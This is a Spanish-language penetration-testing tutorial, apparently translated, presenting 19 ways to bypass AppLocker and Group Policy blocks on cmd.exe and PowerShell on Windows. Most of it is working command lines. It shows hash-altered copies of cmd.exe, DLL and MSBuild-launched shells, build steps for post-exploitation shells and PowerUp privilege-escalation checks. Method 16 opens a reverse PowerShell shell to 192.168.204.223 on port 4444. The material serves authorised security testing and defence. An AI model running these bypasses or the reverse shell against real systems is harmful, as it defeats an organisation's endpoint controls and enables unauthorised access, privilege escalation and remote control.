19 Formas de Eludir Restricciones de Software y Ejecutar Shell

A menudo, nos asignan la tarea de realizar una prueba de penetración desde el punto de vista de un empleado. El cliente nos proporciona acceso a su estación de trabajo Windows típica con una cuenta de usuario de dominio limitada típica. ¿Qué podemos hacer desde aquí? ¿Podemos eludir los controles de seguridad impuestos en el escritorio y elevar nuestros privilegios? ¿Podemos vulnerar los controles de seguridad corporativos y propagarnos a la red? Estas son las principales preguntas para las cuales el cliente desea respuestas.

En la mayoría de los entornos maduros y en la mayoría de estas pruebas, el acceso a las herramientas de línea de comandos está restringido. Los empleados generalmente no pueden ejecutar la línea de comandos o PowerShell. Por lo general, esto se limita mediante AppLocker, GPO y/o SRP.

Tabla de Contenido

CMD Bloqueado por el Administrador
PowerShell Bloqueado por la Directiva de Grupo
Ejecución de Comando Arbitrario versus Creación de Shell
Colocación de Archivos en Rutas Accesibles para Escribir
Eludir el Símbolo del Sistema (CMD) Bloqueado
Método 6: Bypass del hash
- Método 7: Consola WMI
Evadir el PowerShell Bloqueado
Enlaces Adicionales
Conclusión

CMD Bloqueado por el Administrador

Cuando intentamos ejecutar el símbolo del sistema (cmd.exe), generalmente vemos el siguiente mensaje de error:

The command prompt has been disabled by your administrator.
Press any key to continue . . .

El símbolo del sistema ha sido desactivado por su administrador.
Presione cualquier tecla para continuar...

PowerShell Bloqueado por la Directiva de Grupo

De manera similar, cuando intentamos ejecutar el intérprete de PowerShell (powershell.exe), generalmente vemos este mensaje de error:

This app has been blocked by your system administrator.
Contact your system administrator for more info.

Esta aplicación ha sido bloqueada por su administrador del sistema.
Póngase en contacto con su administrador del sistema para obtener más información.

¿Podemos sortear estas restricciones de alguna manera y crear una línea de comandos? En este artículo, exploraremos más de 19 métodos para hacerlo. Hasta ahora, no hemos encontrado ningún caso en el que no pudiéramos tener éxito con estos métodos.

Ejecución de Comando Arbitrario versus Creación de Shell

Hay una diferencia entre ejecutar un comando arbitrario (ACE, Arbitrary Command Execution) y crear una shell. Aunque ACE no es el foco de este artículo, generalmente es necesario realizar ACE para sortear restricciones y crear una ventana de shell interactiva.

Permítenos mencionar brevemente algunos recursos y métodos sobre cómo generalmente realizamos comandos arbitrarios en sistemas Windows cuando estamos en condiciones difíciles.

Guía de Pentest Partners

En 2014, Michael Yarbrough escribió una de las mejores guías exhaustivas sobre cómo salir de Citrix y otros entornos de escritorio restringidos . Sigue siendo muy útil, ya que contiene conceptos y metodologías básicas para eludir varias restricciones. Puedes encontrarlo aquí.

La guía contiene muchos consejos y trucos sobre cómo realizar ACE, e incluso algunos métodos sobre cómo crear una línea de comandos.

LOLBAS

El proyecto LOLBAS es un proyecto comunitario que cataloga varias utilidades integradas en Windows con funciones “inesperadas” que se pueden utilizar con motivos ocultos. Al usar estas utilidades, podemos cargar archivos, copiar cosas, ejecutar ACE o incluso sortear algunas restricciones por completo. El proyecto se encuentra aquí.

Pero algunos de los métodos más simples, simples y efectivos para ejecutar ACE son usar el menú Inicio (búsqueda de Cortana), accesos directos o funciones de scripts integradas de Windows. Estas cosas funcionan prácticamente en todas partes.

Cortana / Menú Inicio

En el menú Cortana / Inicio, podemos llamar prácticamente cualquier comando que deseemos, incluyendo comandos complejos con parámetros y operadores de redirección (>, >>). Combina esto con la técnica LOLBAS y prácticamente no podrá hacer nada.

A veces también descubrimos que proporcionar la ruta completa de los programas realmente supera algunas restricciones (ver Método #1 a continuación).

Accesos directos

Usando accesos directos, también puedes ejecutar prácticamente cualquier cosa, incluyendo comandos complejos con parámetros. Sin embargo, debes tener en cuenta que los operadores de redirección no funcionan directamente en los accesos directos, y también hay un límite en la longitud del comando (máximo 259 caracteres).

Por lotes (.bat)

A veces, la creación de una línea de comandos está restringida, mientras que la creación de un archivo por lotes (.bat) y hacer doble clic en él ejecutará felizmente todos los comandos en él.

Visual Basic (.vbs)

Visual Basic también es útil para realizar ACE, especialmente en entornos muy seguros. Simplemente podemos colocar un comando arbitrario en un archivo .vbs de la siguiente manera:

cmd = "<COMANDO>"

out = "c:\users\public\output.txt"
Set a = CreateObject("Wscript.Shell").Exec(cmd)
Set o = CreateObject("Scripting.FileSystemObject")
Set oo = o.CreateTextFile(out,True)
oo.WriteLine(a.StdOut.ReadAll())
oo.WriteLine(a.StdErr.ReadAll())
oo.Close()

Y luego ejecútalo con cscript.exe o wscript.exe, por ejemplo, a través de la búsqueda de Cortana / menú Inicio o un acceso directo:

cscript c:\ruta\a\archivo.vbs

wscript c:\ruta\a\archivo.vbs

Luego, el resultado será escrito en el archivo c:\users\public\output.txt.

Hay prácticamente un número ilimitado de formas de realizar ACE en el sistema Windows. Continuemos con nuestro tema.

Colocación de Archivos en Rutas Accesibles para Escribir

Uno de los aspectos más importantes para eludir las restricciones es comprender que estas no se aplican uniformemente a todas las ubicaciones en el sistema. Por lo general, hay ciertos lugares (directorios) en el sistema donde colocar nuestros archivos (ejecutables, bibliotecas, código) nos permite sortear las restricciones.

Lo que más nos interesa son los lugares desde donde podemos escribir y ejecutar. Estas ubicaciones pueden incluir lugares como carpetas de inicio, carpetas de perfil, carpetas temporales y muchos otros. Consulta la siguiente lista para ilustración:

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

Normalmente obtenemos mucho éxito utilizando estos lugares:

C:\Users\Public
C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\System32\Spool\Drivers\Color

Recuerda esto mientras utilizas los métodos descritos a continuación y tratas de colocar elementos en estos lugares. Ten en cuenta que también puedes usar el siguiente script de PowerShell para buscar estos lugares: applocker-bypas-checker.ps1

Eludir el Símbolo del Sistema (CMD) Bloqueado

Método 1. Usa rutas completas

A veces, al especificar la ruta completa a cmd.exe en el menú de búsqueda / ejecución de Cortana, puedes sortear las restricciones y ejecutarlo:

Puedes hacer lo mismo con powershell.exe. Para encontrar todos estos lugares, simplemente puedes buscar en el directorio C:\Windows usando el Explorador de archivos o usar los siguientes comandos:

cd %windir%
dir /s /b cmd.exe
dir /s /b powershell.exe

Мétodo 2: Importar objeto en WordPad

Otro método que a veces funciona como un bypass es ejecutar el editor WordPad y luego insertar cmd.exe como un objeto de esta manera:

C:\windows\system32\cmd.exe

Importar objeto en WordPad para ejecutar cmd

Acceso al símbolo sistema desde WordPad

Método 3: Cmd.bat

Este es un método muy antiguo, probablemente surgido en los albores de Internet.

Crea el siguiente archivo por lotes, llámalo como desees, por ejemplo a.bat y simplemente ejecútalo:

@echo off
:a
set /p comm=cmd~ 
%comm%
goto a

Es probable que obtengas una línea de comandos. Si aún está bloqueado, intenta moverlo a otro lugar, como se mencionó anteriormente.

Método 4: ReactOS Cmd

Enlace: https://blog.didierstevens.com/2010/02/04/cmd-dll/

Este dulce fue creado por Didier Stevens (@DidierStevens) en 2010 y todavía se utiliza. Es esencialmente una línea de comandos de Microsoft (cmd.exe) reconfigurada creada por el proyecto ReactOS y es casi 100% compatible con ella. Didier lo tomó y lo convirtió en una DLL, por lo que es esencialmente una línea de comandos implementada como una biblioteca. Pero Didier no se detuvo allí…

La última versión (https://didierstevens.com/files/software/cmd-dll_v0_0_4.zip) contiene las siguientes 3 formas:

Versión EXE (cmd.exe)

Simplemente haz doble clic en el archivo ejecutable y ejecútalo. Es probable que no sea bloqueado por el software antivirus y aparezca una ventana de línea de comandos de ReactOS. Luego, puedes ingresar cualquier comando como en cmd.exe.

Versión DLL (cmd.dll)

La versión DLL, que debes cargar con rundll32.exe, se ve así:

rundll32.exe cmd.dll,main

Por ejemplo, puedes ejecutarlo desde el cuadro de diálogo “Ejecutar” (Win + R), desde el menú de búsqueda / “Inicio” de Cortana o desde un acceso directo. La ventana de línea de comandos de ReactOS debería aparecer de la siguiente manera:

Versión VBA (cmd.dll.bin.vba)

Aquí, básicamente, necesitas crear un documento de Microsoft Office y agregar un macro. También puedes hacerlo, por ejemplo, desde Outlook. Después de abrir el editor de macros (IDE de Visual Basic), simplemente ve a:

File -> Import File -> c:\path\to\cmd.dll.bin.vba
Ejecutar (F5)

Y debería aparecer una ventana de línea de comandos de ReactOS.

Método 5: Cliente FTP

En realidad, esto no es un bypass de la línea de comandos bloqueada, pero sería justo incluir el método aquí, porque el cliente FTP integrado (ftp.exe) permite ejecutar comandos en el sistema en una ventana interactiva, al igual que el símbolo del sistema cmd.exe. . El cliente ftp admite el uso del signo de exclamación (!) para ejecutar comandos locales.

Simplemente ejecuta el cliente ftp, por ejemplo, desde el menú “Inicio”:

Start -> ftp

A veces esto puede estar bloqueado, pero cuando especificas la ruta completa, funcionará:

Start -> c:\windows\system32\ftp.exe

Método 6: Bypass del hash

Este es uno de tus métodos favoritos. Funciona cuando cmd.exe está en la lista negra según su hash. Para evitar esto, simplemente haz una copia de cmd.exe y agrega un byte al final (superposición). Esto cambiará su hash, pero no afectará su funcionalidad. Básicamente, debemos ejecutar los siguientes comandos:

copy c:/windows/system32/cmd.exe c:\users\public\a.exe
echo >>c:\users\public\a.exe
c:\users\public\a.exe

Lo más probable es que aparezca nuestra línea de comandos modificada.

El mismo método se puede aplicar para crear un intérprete powershell.exe.

Método 7: Consola WMI

En realidad, esto no es una forma de sortear el bloqueo del símbolo del sistema, pero es justo incluirlo aquí porque la consola WMI (wmic.exe) abre una ventana interactiva que puede ser incluso más poderosa que el símbolo del sistema cmd.exe. Aquí tienes algunos enlaces útiles con ejemplos de su uso.

Simplemente abre la consola, por ejemplo, a través del menú Inicio con el siguiente comando:

Inicio -> wmic

Si está bloqueado, intenta usar la ruta completa de esta manera:

Inicio -> C:\windows\syswow64\wbem\wmic.exe

Evadir el PowerShell Bloqueado

En esta sección se enumeran varios métodos conocidos para evadir el bloqueo del shell de PowerShell y ejecutar el intérprete de PowerShell y/o comandos arbitrarios de PowerShell. La mayoría de estos métodos se basan en herramientas personalizadas que utilizan bibliotecas de PowerShell disponibles en los sistemas Windows.

Método 8: PowerShdll

Enlace: https://github.com/p3nt4/PowerShdll

Esta herramienta fue creada por @xP3nt4 en 2017. Es un intérprete personalizado similar a PowerShell en forma de DLL. Se puede ejecutar con rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe o como un archivo ejecutable independiente.

Simplemente toma la última versión, transfierela a tu máquina de destino y crea la misma usando cualquiera de estos comandos:

En plataformas x86/x64:

rundll32.exe PowerShdll,main
regsvr32.exe /s PowerShdll.dll
regsvr32.exe /s /u PowerShdll.dll

En plataformas x64:

C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll

En plataformas x86:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll

Deberías ver una ventana del intérprete PowerShdll lista para tus comandos, por ejemplo:

Ten en cuenta que hay limitaciones en la longitud de los comandos (máximo de 255 caracteres para los comandos), lo cual puede ser un problema. Pero puedes importar módulos adicionales y cmdlets usando el comando Import-Module o ejecutar cualquier otro comando de PowerShell para evadir las limitaciones.

Método 9: MSBuildShell

Enlace: https://github.com/Cn33liz/MSBuildShell

Este proyecto de 2016 fue realizado por @Cn33liz. Es otro intérprete personalizado similar a PowerShell, pero funciona en el Microsoft Build Engine (MSBuild.exe). La utilidad MSBuild.exe es parte de la plataforma .NET y está presente en casi todas las instalaciones de Windows.

Simplemente toma el archivo MSBuildShell.csproj del repositorio, transfiérelo a la computadora de destino y ejecútalo de la siguiente manera:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildShell.csproj
#O
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Debería aparecer una ventana del intérprete MSBuildShell lista para tus comandos, por ejemplo:

Ahora puedes importar módulos adicionales y cmdlets usando el comando Import-Module o ejecutar cualquier otro comando de PowerShell.

Método 10: CScriptShell

Enlace: https://github.com/carnal0wnage/CScriptShell

Esto se basa en MSBuildShell. Fue creado en 2017 también por @Cn33liz mejorando el método de evasión publicado por @SubTee. Básicamente, es el mismo código que MSBuildShell, pero esta vez en forma de DLL. Primero necesitas compilar el DLL en tu computadora usando csc.exe (compilador de C#) de la siguiente manera:

# Crea tu clave de nombre fuerte (usando PowerShell):
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQDpppNj5RmGMzd+NkKLJYCF4hDgM4K0KpgdHXfiNKXleoVrvpQz75gSNQJyN/pROTNBhEA0jp5IqrEqdJQsPzXYO3l5JGDtpu3AD7dxge1oUWpugdk5ZHIMOsB1Il/FL+96m39ZZL7o5LHCdHdctEeTG+S15IDyM7L9VoAi7cXsueP7kvvTJETonQoz4JRdH889XnTDWebwj3ViH6zq+Xv5/l0iJh65v6VAzYLfCKEkFzev36w8RJYpwMMwwHDlCMvDYwdY2MFFp/ZQHg7If0BuDLM7D5ozGJnEVUTwwM+gZQ1LRn5EE6WrffQ/Gy2XtzvH4wRlYX939aOm8XVOPm3q0yVe40xxQaR3NR5v6G59dcZWU8baoZFes9mXg3ydQxkPgxbmjJ+Vfw0IVdj4VqrJ0O2IB+eSf9N305Hf32sqooOuytsKIS/DBJ9T5njUV3rQZzguyKGdFZfE4flPBkuRWHXMM63kyKQNLalf3XRTKP3+4Aw+YS9Q+bH53Y4uIIVkR3uN8beKlXBCg1Ja+3qCyMrhSsuhEevrsQTVypHWouG49esZSyYQoyXXxGKwpEuDFmdFmSXEnru54lb/PuOHVTlQHR7hd6TAe0tFOaJWDosNN1QPLTicIvmfeU5KvNsrBMmdnf7NF3yzNAN5jf4DEYg1UK6x0s+IP2JCumjjTx4GIm3h/eO+AqlIy8xbUeZFyln3P5XSQ1ErRRiVGGp1TLa5vNPf8Y4LcV1LSSKnNspw7H3Fw0UyxDs5t+tNQ1I='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte

# Compila DLL
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /r:System.EnterpriseServices.dll,System.Management.Automation.dll /target:library /out:CScriptShell.dll /keyfile:key.snk CScriptShell.cs

Luego, puedes tomar el archivo creado CScriptShell.dll y el archivo CScriptShell.js del repositorio y transferirlos a la máquina objetivo. Luego, ejecutas el intérprete, iniciándolo a través de cscript.exe de la siguiente manera:

cscript.exe CScriptShell.js

Ahora puedes importar módulos adicionales y cmdlets utilizando el comando Import-Module o ejecutar cualquier otro comando de PowerShell.

Método 11: p0wnedShell

Enlace: https://github.com/Cn33liz/p0wnedShell

Este es otra herramienta creada por @Cn33liz, cuya primera versión se lanzó en 2015. Es un conjunto de espacios de trabajo de PowerShell para post-explotación. Básicamente, es otro intérprete similar a PowerShell, pero contiene muchos módulos y cmdlets útiles integrados.

Para usarlo, debes compilarlo con Microsoft Visual Studio. Después de la compilación, traslada el archivo binario creado, p0wnedShell.exe, al objetivo y ejecútalo. Deberías ver algo como esto:

Selecciona la opción 16 para el intérprete interactivo de PowerShell. Ahora puedes importar módulos adicionales y cmdlets utilizando el comando Import-Module o ejecutar cualquier otro comando de PowerShell. Ten en cuenta que el intérprete viene con varios módulos de post-explotación ya cargados en el espacio de trabajo.

Método 12: PSShell

Enlace: https://github.com/fdiskyou/PSShell

Este proyecto fue creado por @fdiskyou en 2016. Es un intérprete interactivo similar a PowerShell y existe en dos versiones (lanzamientos):

Versión 2.0: versión DLL

Debes compilar esto con Microsoft Visual Studio. Después de la compilación, traslada el archivo binario creado, PSShell.dll, al objetivo y ejecútalo con cualquiera de los siguientes comandos:

rundll32 PSShell.dll,EntryPoint
# O
regsvr32 PSShell.dll
# O
regsvr32 /u PSShell.dll

Lanzamiento 1.0: versión EXE

Puedes compilarlo utilizando el compilador C# integrado csc.exe (no es necesario Visual Studio). Asegúrate de descargar la versión 1.0 y luego compílala con csc.exe de la siguiente manera:

# Ve a la carpeta de la última versión de .NET, por ejemplo:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compila:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PSShell.exe /platform:x64 "C:\path\to\PSShell\Program.cs"

Luego, simplemente traslada el archivo binario creado, PSShell.exe, al objetivo y ejecútalo.

Ahora puedes importar módulos adicionales y cmdlets utilizando el comando Import-Module o ejecutar cualquier otro comando de PowerShell.

Método 13: PowerOPS

Enlace: https://github.com/fdiskyou/PowerOPS

Este también es de @fdiskyou y también es del año 2016. Es otro intérprete interactivo similar a PowerShell. Se llama PowerShell Runspace Portable Post Exploitation Tool. Viene con una serie de módulos y funciones útiles pre-cargados en el entorno de ejecución. Incluye módulos como PowerSploit, Nishang, Empire, entre otros.

El proceso de compilación es simple y claro: puedes compilarlo con csc.exe (no se requiere Visual Studio). Simplemente clona el repositorio y ejecuta:

# Ve a la carpeta de la última versión de .NET, por ejemplo:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compila:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

Luego, simplemente traslada el archivo binario creado, PowerOPS.exe, al objetivo y ejecútalo.

Ahora puedes importar módulos adicionales y cmdlets utilizando el comando Import-Module o ejecutar cualquier otro comando de PowerShell. También puedes usar módulos precargados (PowerSploit, Nishang, Empire, etc.).

Método 14: Nps (no PowerShell)

Enlace: https://github.com/Ben0xA/nps

En realidad, esto no es un intérprete de PowerShell. Es una herramienta que permite ejecutar comandos de PowerShell sin usar powershell.exe. Fue creado por Ben Ten (@Ben0xA) en 2015.

El proyecto ya incluye el archivo binario nps.exe, que puedes usar de inmediato (nps.zip). O puedes compilar tu propia versión y agregar algunas obfuscaciones, si es necesario. Para compilar tu propia versión, simplemente usa el compilador integrado de C# csc.exe de la siguiente manera:

# Ve a la carpeta de la última versión de .NET, por ejemplo:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compila:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\username\nps.exe /platform:x64 "C:\path\to\nps\*.cs"

Luego, simplemente traslada el archivo binario nps.exe a tu sistema objetivo y ejecútalo de la siguiente manera:

# Uso:
nps.exe "powershell single command"
nps.exe "& {commands; semi-colon; separated}"
nps.exe -encodedcommand {base64_encoded_command}
nps.exe -encode "commands to encode to base64"
nps.exe -decode {base64_encoded_command}

Ahora puedes ejecutar cualquier comando de PowerShell con nps.exe. También puedes importar módulos adicionales utilizando el comando Import-Module. Aquí tienes un ejemplo con el módulo PowerUp.ps1 para verificar el aumento de privilegios:

c:\users\public\nps.exe "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"

Por ejemplo, puedes ingresar esto directamente en el menú de búsqueda/ejecución de Cortana, como se muestra a continuación, y se ejecutará en una ventana de consola sin crear ninguna instancia de powershell.exe:

Los resultados se escribirán en el archivo c:\users\public\results.txt.

Método 15: NoPowerShell

Enlace: https://github.com/bitsadmin/nopowershell

NoPowerShell fue creado por Arris Huijgen (@bitsadmin) en 2018. Es otro intérprete similar a PowerShell, pero se distingue de los demás al no utilizar la biblioteca System.Management.Automation.dll. Su objetivo es ser lo más sigiloso posible. Por ejemplo, se puede cargar en Cobalt Strike y ejecutar comandos en la memoria. También incluye una serie de módulos y cmdlets integrados para la postexplotación.

Puedes mejorar fácilmente y crear tu propia versión (por ejemplo, agregar alguna ofuscación anti-AV) o simplemente tomar los archivos binarios de la última versión y transferirlos a la máquina objetivo.

Versión DLL:

La versión DLL genera una ventana de símbolo del sistema interactiva como esta:

# En plataformas x64:
rundll32.exe NoPowerShell64.dll,main

# En plataformas x64:
rundll32.exe NoPowerShell.dll,main

Versión EXE:

La versión EXE no es un intérprete interactivo. Se asemeja más al mencionado anteriormente, Nps, donde permite ejecutar comandos similares a PowerShell sin ejecutar powershell.exe. Por ejemplo:

Uso:

NoPowerShell.exe [Comando] [Parámetros] | [Comando2] [Parámetros2] etc.

Ejemplo:

NoPowerShell.exe Get-Command - listar todos los comandos soportados
NoPowerShell.exe Get-ComputerInfo - obtener información de la computadora
NoPowerShell.exe Get-NetIPAddress -All - obtener configuración de dirección IP
NoPowerShell.exe Get-NetNeighbor - obtener tabla ARP

Ten en cuenta que esta herramienta tiene algunas limitaciones. No es un entorno completo de PowerShell. Por ejemplo, no puedes cargar módulos adicionales con el comando Import-Module o ejecutar comandos de PowerShell arbitrarios. Solo están disponibles los comandos admitidos. Consulta la hoja de trucos oficial o ejecuta Get-Command para obtener una lista de comandos admitidos.

Método 16: PowerLine

Enlace: https://github.com/fullmetalcache/PowerLine

PowerLine fue creado por Brian Ferman (@fullmetalcache) en 2017. No es un intérprete interactivo, pero te permite empaquetar cualquier cantidad de scripts de PowerShell seleccionados arbitrariamente en un solo archivo ejecutable. Debes construirlo primero en tu máquina y luego transferir el archivo ejecutable creado a la máquina objetivo. El archivo ejecutable contendrá versiones de todos los scripts que hayas especificado en el proceso de construcción, codificados en XOR y base64.

El proceso de construcción es muy simple y claro, no se necesita Visual Studio. Simplemente sigue estos pasos:

Clona el repositorio:

git clone https://github.com/fullmetalcache/PowerLine.git

Ejecuta el archivo build.bat:

cd PowerLine
build.bat

Edita el archivo UserConf.xml y agrega enlaces a los scripts de PowerShell que te gustaría agregar:

notepad UserConf.xml

Ejecuta el archivo PLBuilder.exe:

PLBuilder.exe

Después de que finalice el proceso de construcción, se creará el archivo PowerLine.exe. Ahora puedes tomar este archivo y transferirlo a la máquina objetivo. Luego, úsalo de la siguiente manera:

Uso:

PowerLine.exe -ShowScripts - listar todos los scripts incrustados
PowerLine.exe <Módulo> "Get-Command" - listar todos los comandos disponibles

Ejemplos:

PowerLine.exe PowerUp "Invoke-AllChecks"
PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"

Este método te permite incrustar prácticamente cualquier cosa en él.

Por ejemplo, al incrustar el módulo Invoke-PowerShellTcp (que está incluido de forma predeterminada),

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

también puedes ejecutar un intérprete interactivo de PowerShell a través de la red de la siguiente manera:

PowerLine.exe Invoke-PowerShellTcp "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.223 -Port 4444"

Método 17: PowerLessShell

Enlace: https://github.com/Mr-Un1k0d3r/PowerLessShell

PowerLessShell es otra herramienta que puede ejecutar código PowerShell sin generar ningún proceso de powershell.exe. Fue desarrollado por @MrUn1k0d3r en 2017. PowerLessShell es una herramienta escrita en Python, la cual funciona tomando un script de PowerShell que le proporcionas y lo convierte en un archivo csproj. Luego, puedes ejecutarlo utilizando MSBuild.exe.

Método 18: SharpPick

Enlace: https://github.com/TheKevinWang/SharpPick

Esta herramienta fue inicialmente desarrollada por @sixdub en 2015 como parte de PowerTools, y luego mejorada por Kevin Wang en 2018. SharpPick no es un intérprete interactivo, pero permite ejecutar código arbitrario de PowerShell que se especifica como parámetro, similar a Nps, PowerLine o NoPowerShell, como se describió anteriormente.

Primero, debes compilarlo en tu propia máquina. Las instrucciones para compilarlo con Microsoft Visual Studio están documentadas en el sitio web. También puedes compilarlo usando csc.exe después de algunos cambios menores, siguiendo estos pasos:

# Ve a la última carpeta de la versión .NET, por ejemplo:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compila:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\sharppick.exe /platform:x64 "C:\users\public\SharpPick.cs"

Después de compilar, simplemente traslada el archivo binario SharpPick.exe a tu sistema de destino y ejecútalo de la siguiente manera:

Usage: sharppick.exe [<flag> <argument>]
flags:
-f <file>      : Read script from specified file
-d <url>       : Read script from URL
-a <delimeter> : Read script appended to current binary after specified delimeter.
-c <command>   : PowerShell command to execute, enclosed on quotes.

Lo bueno de esta herramienta es que puedes especificar el script a ejecutar ya sea desde un archivo o desde una URL. También puedes agregar código de PowerShell arbitrario directamente al archivo binario SharpPick.exe y luego ejecutarlo usando el parámetro -a. O simplemente puedes especificar un comando como parámetro utilizando -c.

Con esta herramienta, puedes ejecutar cualquier comando de PowerShell. También puedes importar módulos adicionales utilizando el comando Import-Module. Aquí tienes un ejemplo adicional con el módulo PowerUp.ps1:

c:\users\public\sharppick.exe -c "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"

Podrías, una vez más, ingresar este comando directamente en el menú de búsqueda/ejecución de Cortana, como hicimos en el ejemplo anterior con nps.exe, o podrías, por ejemplo, crear un nuevo acceso directo e insertar el comando allí.

Después de hacer doble clic en el acceso directo, la ejecución de nuestro comando y la escritura de los resultados en el archivo c:\users\public\results.txt ocurrirán. Y todo esto sin crear ningún proceso de powershell.exe.

Método 19: Intérprete de PowerShell Minimalista Personalizado

Enlace: https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/

En el mencionado artículo, escrito por @decoder_it en 2017, se describe un método para escribir un intérprete de PowerShell minimalista personalizado y compilarlo utilizando el compilador integrado de C# (csc.exe). Nos inspiramos en esto y creamos nuestra propia versión con algunas mejoras para una mayor comodidad de uso. Agregamos soporte para el comando cd y también agregamos la capacidad de manejar errores para evitar que el intérprete se bloquee. Puedes encontrarlo en nuestro github a continuación.

Enlace: https://github.com/InfosecMatter/Shells-for-restricted-environments/tree/master/minips

Hay dos versiones disponibles:

Versión Minips.cs

Esta versión se puede compilar en un archivo ejecutable utilizando el compilador integrado de C# (csc.exe), siguiendo estos pasos:

# Ir a la carpeta de la última versión de .NET, por ejemplo:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compilar:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\minips.exe /platform:x64 "C:\users\public\minips.cs"

Luego, simplemente ejecutas el archivo binario creado minips.exe en tu sistema objetivo, y la ventana del intérprete se verá así:

Versión Minips.xml

Esta versión se puede ejecutar fácilmente con Microsoft Build Engine (MSBuild.exe) de la siguiente manera:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe c:\path\to\minips.xml

Puedes volver a ingresar este comando directamente en el menú de búsqueda / inicio de Cortana o en un acceso directo.

Ahora puedes importar módulos adicionales y cmdlets con el comando Import-Module o ejecutar cualquier otro comando de PowerShell.

Enlaces Adicionales

Para obtener más información, consulta los siguientes enlaces adicionales:

https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/
https://github.com/api0cradle/UltimateAppLockerByPassList
https://evi1cg.me/archives/ypassing_Applocker_with_MSBuild-exe.html
https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
https://github.com/netbiosX/Checklists/blob/master/AppLocker.md
https://github.com/api0cradle/PowerAL

Conclusión

Es evidente que siempre hay un compromiso entre la comodidad de uso y la seguridad. Continúa explorando las posibles implicaciones y encuentra el equilibrio adecuado que se adapte a las necesidades específicas de tu organización y su perfil de riesgo.